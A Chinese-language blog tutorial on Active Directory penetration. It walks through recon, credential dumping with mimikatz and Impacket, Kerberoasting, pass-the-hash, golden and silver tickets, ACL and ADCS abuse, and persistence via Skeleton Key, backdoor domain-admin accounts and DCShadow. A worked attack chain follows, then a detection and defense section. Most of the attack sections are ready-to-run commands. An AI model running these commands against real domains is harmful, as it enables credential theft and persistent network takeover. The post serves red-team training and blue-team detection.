浅谈域渗透 — 从攻击链到防御检测

域渗透这块算是内网渗透的核心了,也是我从Web安全往内网方向深入的时候花了很多时间啃的一块()。在真实的攻防场景中,拿下Web服务器说白了就是个入口,真正的目标其实是域控制器(DC)上的域管理员权限。最近把域渗透的完整攻击链系统梳理了一遍,从域环境侦察、凭证获取、横向移动到权限提升与维持,穿插经典工具的原理和实战案例,在这记录分享一下,希望能帮到也在学这块的师傅们()

一、Active Directory 基础回顾

Active Directory(AD)说白了就是Windows企业网络的核心身份认证服务,管着域内的用户、计算机、组策略这些资源()。理解AD的核心概念是域渗透的前提,刚开始学的时候感觉概念超多,但其实绕来绕去就那几个东西:

概念 说明
域(Domain) AD的逻辑管理单元,共享同一目录数据库
域控制器(DC) 运行AD域服务的服务器,存储目录数据并处理身份验证,默认跑在Windows Server上
组织单位(OU) AD中的容器,用于组织用户、计算机、组等对象,便于委派管理和应用组策略
Kerberos AD默认认证协议,基于票据(Ticket)机制,包含AS-REQ/AS-REP、TGS-REQ/TGS-REP等关键交互步骤
NTDS.dit AD数据库文件,存储所有域用户的NTLM Hash(位于%SystemRoot%NTDSntds.dit),拿到这个就等于拿到整个域的凭证
组策略(GPO) 域管理员通过GPO统一管理域内计算机的配置和安全策略,但也是攻击者最爱的持久化手段之一
全局编录(GC) 包含林中每个域对象的部分副本,用于加速跨域查询,默认在第一个DC上启用

二、域环境侦察

进入内网后的第一步永远是信息收集,这个没得说。要搞清楚”我在哪、域叫什么、DC是谁、有哪些域管、域内有多少主机”。说白了就是先画地图再行军,不然纯瞎转悠()。

2.1 本机信息收集

# 基础信息,先搞清楚自己是谁、在哪
whoami /all                      # 当前用户及权限
systeminfo                        # 系统补丁、版本
ipconfig /all                     # 网络配置(DNS 服务器通常就是 DC)
net config workstation            # 查看是否在域中
cmdkey /list                      # 凭据管理器中缓存的凭据
tasklist /svc                     # 进程及服务
netstat -ano                      # 端口及连接

2.2 域环境探测

# 域基本信息,直接梭哈收集
net user /domain                  # 域用户列表
net group /domain                 # 域组列表
net group "Domain Admins" /domain # 域管理员
net group "Enterprise Admins" /domain # 企业管理员
net group "Domain Controllers" /domain # 域控制器
net time /domain                  # 查看域时间(通常指向 DC)
net accounts /domain              # 域密码策略

# DNS 查询定位 DC 和 KDC
nslookup -type=SRV _ldap._tcp.dc._msdcs.<FQDN>
nslookup -type=SRV _kerberos._tcp.<FQDN>

2.3 BloodHound 分析

BloodHound算是域渗透中最重要的侦察工具了,没有之一()。它通过图数据库(Neo4j)可视化分析域内ACL、成员关系、会话等攻击路径。第一次用的时候感觉开了天眼——原来从一个普通域用户到域管的最短路径这么直观,这真没话说。

# SharpHound 采集(在目标机器上执行)
SharpHound.exe -c All --zipfilename domain.zip

# 或用 Python 版采集器(从攻击机)
bloodhound-python -d corp.local -u user -p pass -gc dc01.corp.local -c all -ns 10.0.0.1

# 导入BloodHound后可查询的攻击路径:
# - Find Shortest Path to Domain Admins(到达域管的最短路径)
# - Find Principals with DCSync Rights(具有DCSync权限的主体)
# - Find Kerberoastable Users(可Kerberoasting的用户)
# - Find AS-REP Roastable Users(不需要Kerberos预认证的用户)

BloodHound的核心价值其实就是攻击路径规划。师傅们拿下一台Web服务器上的本地管理员后,通过BloodHound能直观地看到从这台机器能跳到哪些主机、哪些用户在DC上有会话、哪些组之间存在嵌套关系,然后规划最短的提权路径。说白了就是把”猜”变成了”看”,真的爽()。

三、凭证获取

横向移动的核心永远是凭证,这个没商量。Windows系统中凭据的存储位置多种多样:LSASS进程内存、SAM数据库、NTDS.dit、凭据管理器、浏览器保存密码、配置文件中的明文密码等。做域渗透最爽的时刻,就是mimikatz直接梭下去看到明文密码的时候,那种感觉真是舒坦()。

3.1 Mimikatz —— 凭证提取瑞士军刀

# 基础命令(需要管理员或SYSTEM权限)
privilege::debug                 # 提权到SeDebugPrivilege

# 从LSASS导出明文密码和NTLM Hash
sekurlsa::logonpasswords          # 导出所有登录凭证(明文+Hash+Kerberos Ticket)

# 从SAM导出本地账户Hash
token::elevate                   # 提升为SYSTEM
lsadump::sam                     # 导出本地SAM中的Hash

# DCSync — 模拟DC请求复制凭据(需要域管或DCSync权限)
lsadump::dcsync /domain:corp.local /user:krbtgt   # 导出krbtgt的Hash
lsadump::dcsync /domain:corp.local /all             # 导出所有域用户Hash

# 导出票据
sekurlsa::tickets /export        # 导出所有Kerberos票据到.kirbi文件

3.2 Kerberoasting

Kerberoasting攻击的目标是注册了SPN(Service Principal Name)的域用户账号。当域内任意用户向DC请求该服务的TGS票据时,DC会用目标服务账号的NTLM Hash加密票据,然后攻击者拿到加密票据后离线爆破——属于那种门槛不高但收益很大的攻击手法,感觉算是性价比最高的打法之一了()。

# 使用Impacket的GetUserSPNs
GetUserSPNs.py corp.local/user:password -dc-ip 10.0.0.1 -request -outputfile hashes.txt

# 使用Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

# 离线爆破
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force

3.3 AS-REP Roasting

对于不要求Kerberos预认证的用户(设置了DONT_REQ_PREAUTH标志),攻击者无需任何凭证就能请求该用户的AS-REP响应,其中包含用用户密码加密的会话密钥,然后离线爆破。比Kerberoasting更隐蔽,因为不需要在域内做任何特殊操作,感觉更舒服一些()。

# Impacket
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -format hashcat

# Rubeus
Rubeus.exe asreproast /outfile:asrep.txt

# 爆破
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force

3.4 NTDS.dit 提取

拿到DC管理员权限后的终极目标——导出整个域的用户Hash。拿到NTDS.dit基本等于宣告游戏结束,算是域渗透的终点了()。

# 方法1: NTDSUtil(Windows自带,动静较大)
ntdsutil "ac i ntds" "ifm" "create full c:temp" q q

# 方法2: VSS卷影复制+注册表
vssadmin create shadow /for=C:
copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSntds.dit c:temp
reg save HKLMSYSTEM c:tempsystem.hive

# 方法3: Impacket secretsdump(需要DC管理员权限,推荐)
secretsdump.py corp.local/admin@10.0.0.1 -just-dc-ntlm

# 离线解析
secretsdump.py -ntds ntds.dit -system system.hive LOCAL

四、横向移动

获取一台机器的凭证后,下一步就是向域内其他主机、最终向域控制器移动。横向移动的方法取决于手头有什么——明文密码、NTLM Hash还是Kerberos票据,兵来将挡水来土掩吧()。

4.1 Pass-the-Hash(PtH)—— NTLM Hash传递

NTLM认证的经典缺陷:不需要明文密码,只要拿到NTLM Hash就能直接以该用户身份登录其他系统。第一次搞懂这个原理的时候觉得Windows的认证设计是真的松,这设计只能说懂的都懂()。

# Impacket wmiexec(WMI远程执行,动静最小)
wmiexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5

# Impacket smbexec(SMB远程执行)
smbexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5

# Impacket psexec(服务方式远程执行,会落盘会被EDR检测)
psexec.py -hashes :<NTLM_HASH> corp.local/admin@10.0.0.5

# CrackMapExecutor(批量PtH,扫内网利器)
crackmapexec smb 10.0.0.0/24 -u admin -H <NTLM_HASH> -d corp.local

4.2 Pass-the-Ticket(PtT)—— Kerberos票据传递

将导出的.kirbi票据直接注入当前会话,以该票据对应身份访问资源,无需密码或Hash。跟PtH的区别其实就是——一个走NTLM,一个走Kerberos,就这么简单()。

# Mimikatz注入票据
kerberos::ptt ticket.kirbi

# Rubeus注入
Rubeus.exe ptt /ticket:ticket.kirbi

# 查看当前会话中的票据
klist

4.3 Golden Ticket —— 黄金票据

拿到krbtgt的NTLM Hash后,可以伪造任意用户的TGT(Ticket Granting Ticket),然后以域管身份访问域内任何资源。krbtgt密钥极少更改,黄金票据的有效期可以非常长。说白了,拿到krbtgt Hash == 拿到整个域的永久后门,就是这么简单粗暴()。

# Mimikatz生成并注入黄金票据
kerberos::golden /domain:corp.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /user:Administrator /id:500 /ptt

# 参数说明:
# /sid: 域的SID(通过whoami /user去掉最后一段获取)
# /krbtgt: krbtgt账户的NTLM Hash
# /user: 要伪造的用户名
# /ptt: 直接注入当前会话

4.4 Silver Ticket —— 白银票据

与黄金票据不同,白银票据伪造的是服务票据(TGS)而非TGT。只需要目标服务的机器账户Hash,不是krbtgt Hash。更隐蔽,因为不需要与DC交互。在实战中白银票据其实比黄金票据更常用——机器账户Hash比krbtgt好拿多了,感觉黄金票据有点理论上的完美但实际太难搞了()。

# 伪造CIFS服务票据(访问文件共享)
kerberos::golden /domain:corp.local /sid:<DOMAIN_SID> /target:dc01.corp.local /service:CIFS /rc4:<MACHINE_ACCOUNT_HASH> /user:Administrator /ptt

# 常用服务名: CIFS(文件共享), HOST(远程管理), HTTP(WinRM), MSSQL(SQL Server)

4.5 Overpass-the-Hash

用NTLM Hash请求Kerberos TGT,把NTLM认证”升级”为Kerberos认证,然后转为Pass-the-Ticket。说白了就是把Hash当密码用,直接去换一个正规的TGT回来,这个思路还挺巧妙的()。

# 用NTLM Hash申请TGT
Rubeus.exe asktgt /user:admin /rc4:<NTLM_HASH> /domain:corp.local /ptt

五、权限提升

5.1 本地提权

进入内网的主机可能只是个普通用户权限,需要先提权到本地SYSTEM才能进行凭证提取和后续横向移动。本地提权的路数很多,感觉每个环境都有不一样的玩法():

技术 原理 工具
UAC Bypass 绕过Windows用户账户控制,将权限从管理员提升到高完整性级别 fodhelper、eventvwr、computerdefaults等注册表劫持
Kernel Exploit 利用Windows/第三方驱动内核漏洞,从任意用户直接到SYSTEM MS16-032、CVE-2020-0787(PrintConfig)、CVE-2021-36934(HiveNightmare)
Potato系列 利用COM对象+NTLM反射进行令牌窃取:欺骗SYSTEM账户向攻击者监听的端口发起NTLM认证,再重放到本地RPC服务获取SYSTEM令牌 JuicyPotato、RoguePotato、PrintSpoofer、SweetPotato
服务劫持 修改低权限用户可写的服务路径/配置,服务以SYSTEM启动时执行恶意代码 PowerUp.ps1(Get-ModifiableService)
AlwaysInstallElevated 如果注册表中启用了AlwaysInstallElevated(HKLM+HKCU都为1),MSI安装包将以SYSTEM权限运行 msfvenom生成MSI Payload
计划任务 劫持SYSTEM权限的计划任务中的可写脚本或二进制文件 PowerUp.ps1、手动排查

5.2 域内提权

  • ACL滥用:分析BloodHound中的ACL关系,利用WriteProperty、GenericAll、ForceChangePassword等权限逐步提升在域内的控制权。比如拥有对某个域管组成员的GenericWrite权限,就能把自己加进去——这比找漏洞快多了,有时候找了一天漏洞不如看一圈ACL来得爽()。
  • Constrained Delegation利用:约束委派允许服务A代表任意用户访问服务B。如果拿下了约束委派的服务账号,可以通过S4U2Self和S4U2Proxy协议扩展模拟域管访问目标服务,第一次搞懂这个原理的时候感觉还挺绕的()。
  • Unconstrained Delegation利用:非约束委派比约束委派更危险——当域管登录到配置了非约束委派的服务器时,其TGT会缓存在该服务器的LSASS中,攻击者可以导出域管的票据。配置了非约束委派的主机基本就是蜜罐,见一个吃一个()。
  • GPO滥用:如果拥有对GPO的编辑权限,可以将恶意脚本/计划任务通过组策略下发到整个域。常见手法包括在GPO的启动脚本中添加反弹Shell、创建计划任务、添加本地管理员等,感觉就是用正规渠道干坏事,防不胜防()。
  • ADCS攻击:如果域内部署了AD CS(证书服务),可以利用证书模板权限配置不当直接打。经典场景包括ESC1-ESC13系列攻击路径,比如在允许注册者指定SAN(Subject Alternative Name)的证书模板中,任何有注册权限的用户都可以请求域管的证书然后获得其TGT。ESC1-ESC8是最常见也最好用的几条,算是域渗透里比较好玩的一块了()。

六、权限维持

6.1 黄金票据持久化

krbtgt账户的密码极少被重置(影响整个域的正常认证流程),因此获取krbtgt Hash后可以长期持有域控制权。即使域管密码被修改,黄金票据依然有效。不过需要知道,重置krbtgt密码两次(间隔大于票据最大生命周期)可以作废所有已有票据——但大部分企业根本不会这么做,所以这玩意真的很持久()。

6.2 Skeleton Key

在域控制器上安装Skeleton Key后,所有域用户都能直接用一个预设的”万能密码”(默认就是mimikatz)进行认证,同时用户原有的密码依然有效,非常隐蔽。该技术通过在LSASS进程中注入恶意代码实现,重启DC后失效,但可以配合其他持久化机制定期重新注入,感觉设计这个技术的人脑子真的灵光()。

# Mimikatz安装Skeleton Key(在DC上以域管权限执行)
privilege::debug
misc::skeleton

# 之后任何域用户都可以用"mimikatz"作为密码登录
# net use dc01c$ /user:corpanyuser mimikatz

6.3 后门账户与DCShadow

# 创建普通后门用户并加入域管组(动静大,容易被发现)
net user backdoor P@ssw0rd123 /add /domain
net group "Domain Admins" backdoor /add /domain

# 更隐蔽:DCShadow — 将自己的机器伪装为DC,在AD中复制任意更改
# Step 1: 在一台有域管权限的机器上启动Mimikatz
lsadump::dcshadow /object:CN=backdoor,... /attribute:primaryGroupID /value:512
# Step 2: 在DC上执行
lsadump::dcshadow /push

DCShadow是Mimikatz的一项高级功能,允许具有域管权限的攻击者将自己的机器伪装为域控制器,直接在AD中复制任意更改。这些更改通过标准的AD复制协议传播,很难与正常的AD复制流量区分,算是域渗透持久化的终极手段之一了,真有点降维打击的意思()。

七、核心工具链

工具 类型 核心用途
BloodHound/SharpHound 侦察分析 AD攻击路径可视化,ACL/委派/会话关系分析
Mimikatz 凭证提取 LSASS凭证转储、DCSync、票据操作(Golden/Silver/Skeleton Key/DCShadow)
Impacket 远程执行 Python版Windows协议复现——wmiexec、smbexec、psexec、secretsdump、GetUserSPNs等一整套横向移动工具
Rubeus Kerberos攻击 C#实现的Kerberos交互——AS-REP Roasting、Kerberoasting、Overpass-the-Hash、Ticket导入/导出
CrackMapExec 批量扫描利用 批量SMB/WinRM/MSSQL登录、凭证喷洒、BloodHound采集、命令执行
PowerView 域枚举 PowerShell写的AD枚举工具,灵活查询域对象
Responder 中间人攻击 监听LLMNR/NBT-NS/mDNS广播,捕获Net-NTLM Hash;配合NTLM Relay实现中继攻击
ntlmrelayx NTLM中继 将捕获的Net-NTLM认证请求中继到其他服务实现未授权访问
Certipy ADCS攻击 AD证书服务攻击全自动化——证书模板枚举、ESC1-ESC13全系列、凭据导出

八、攻击链实战案例

下面直接串联一个典型的域渗透攻击链,展示各类技术怎么在实际场景中组合使用,师傅们可以当做一个参考路线():

阶段1——初始入口:通过Web漏洞(如反序列化/文件上传)获得Web服务器(10.0.0.100)的普通shell。Web服务器跑在IIS的ApplicationPoolIdentity下,权限很低,基本上啥也干不了()。

阶段2——本地提权:执行systeminfo发现没打KB3167679(MS16-032),利用该漏洞直接提权到SYSTEM。同时用SharpHound采集域信息,导入BloodHound分析,先摸清地形再动,不然就是在瞎搞()。

阶段3——凭证获取:SYSTEM权限下mimikatz sekurlsa::logonpasswords导出LSASS中缓存的IIS服务账号(svc_iis)凭证。该账号是企业标准服务账号,在多台服务器上使用相同密码——这种情况在企业里简直不要太常见,说白了就是给攻击者送快递()。

阶段4——横向移动:用CrackMapExec对10.0.0.0/24网段喷洒svc_iis凭证,发现10.0.0.50上也有本地管理员权限。然后BloodHound分析显示10.0.0.50上有一个域管(Domain Admin)的登录会话,再用Mimikatz在这台机器上导出域管的登录凭证,算是离目标越来越近了()。

阶段5——DC控制:用域管凭证DCSync导出整个域的Hash:mimikatz lsadump::dcsync /domain:corp.local /all /csv。然后获取krbtgt Hash,制作黄金票据作为持久化后门,到这步基本就稳了()。

阶段6——持久化:在DC上安装Skeleton Key,创建隐蔽的影子账户,然后通过DCShadow在AD中写入后门ACL,实现多层持久化,即使某个后门被清除也不影响整体控制。到这步基本就算拿下了,剩下就是享受成果了()。

九、防御与检测

从蓝队视角来看,域渗透攻击链的每个阶段其实也都有可检测的特征,就看防得够不够细致了():

攻击阶段 检测点 日志/监控来源
侦察 异常LDAP查询、大量SAM账户枚举(Event ID 4662)、SharpHound签名匹配 LDAP查询日志、Windows Event Log、EDR进程监控
凭证获取 LSASS进程被非标准工具访问(Event ID 4663)、异常VSS卷影复制(Event ID 98) Sysmon Event 10(进程访问)、Event 11(文件创建)
横向移动 新增服务创建(Event ID 7045——psexec特征)、WMI远程执行(Event ID 4688+父进程wmiprvse.exe)、计划任务创建(Event ID 4698) Windows Event Log、Sysmon
票据攻击 异常TGT/TGS请求模式、黄金票据的PAC异常、票据有效期异常(黄金票据默认10年) Event ID 4769(TGS请求)、Event ID 4768(TGT请求)
DCSync Event ID 4662——DC收到DS-Replication-Get-Changes-All扩展权限的访问,且来源不是已知DC Windows Event Log on DC
Skeleton Key LSASS进程内存中的代码注入检测(对比已知的LSASS模块hash) EDR内存扫描、Sysmon Event 7(Image Load)

防御要点:启用Windows Defender Credential Guard隔离LSASS;部署LAPS管理本地管理员密码,确保每台主机的本地管理员密码唯一;定期审计ACL和委派配置(善用BloodHound从蓝队视角分析,这工具真是红蓝通吃);重点监控DCSync和Kerberos票据异常;启用LDAP signing和LDAPS防止NTLM中继;正确配置AD CS证书模板权限(重点关注ESC1-ESC8)。ps:很多企业觉得这些配置麻烦,但等到被打了再后悔就来不及了,这套配置说多也不多,主要是懒()。

十、总结

域渗透的本质其实就是信任链的传递与滥用——Kerberos信任TGT,服务信任SPN,组策略信任GPO编辑者,ACL信任变更者。攻击者的每一步都是在利用这些预设的信任关系,从一个受信任的节点跳到下一个,感觉有点像多米诺骨牌,一推就全倒了()。

作为攻防的两面——红队需要系统化地理解这些信任关系并串联攻击路径,蓝队则需要在每个信任边界上设置检测点。不管是进攻还是防守,掌握本文涉及的各类技术和工具,理解Kerberos认证和AD信任模型的底层机制,都是深入域渗透领域的必经之路。学了这么多,说实话域渗透的知识体系是真的大,而且Windows那些协议和认证机制各种历史包袱,学起来挺费劲的。这块确实难,但多啃几次也就明白了,不过搞懂之后还是很有成就感的,算是值得投入的方向了()。

参考资源:MITRE ATT&CK Enterprise Matrix(TA0006 Credential Access / TA0008 Lateral Movement)、adsecurity.org(Sean Metcalf的Kerberos系列,必读)、harmj0y的BloodHound白皮书、ired.team红队笔记、Pentestlab Blog。ps:这些都是我自己啃过的,质量确实高,师傅们可以参考一下()

留下评论

您的邮箱地址不会被公开。 必填项已用 * 标注